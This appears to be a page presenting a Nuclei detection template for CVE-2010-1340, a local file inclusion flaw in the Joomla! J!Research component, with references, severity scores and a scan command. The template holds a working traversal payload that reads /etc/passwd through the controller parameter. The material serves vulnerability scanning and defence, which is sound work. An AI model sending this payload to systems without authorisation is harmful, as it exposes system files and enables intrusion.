Joomla! Component com_jresearch - 'Controller' Local File Inclusion

ID: CVE-2010-1340

Severity: medium

Author: daffainfo

Tags: cve2010,cve,joomla,lfi,edb,packetstorm,joomla-research

Description

A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

YAML Source

id: CVE-2010-1340

info:
  name: Joomla! Component com_jresearch - 'Controller' Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The vulnerability allows an attacker to include arbitrary local files, leading to remote code execution or sensitive information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33797
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1340
    - http://packetstormsecurity.org/1003-exploits/joomlajresearch-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57123
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1340
    cwe-id: CWE-22
    epss-score: 0.01155
    epss-percentile: 0.83281
    cpe: cpe:2.3:a:joomla-research:com_jresearch:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla-research
    product: com_jresearch
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,joomla-research

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b94fce98271f942f540334a4e8238f06ab6786bae5c5211092aa057fb4d12c7702200d89827496474acb98b226906421890050f44251c710efb30f08d29f0c44cb60:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-1340.yaml"

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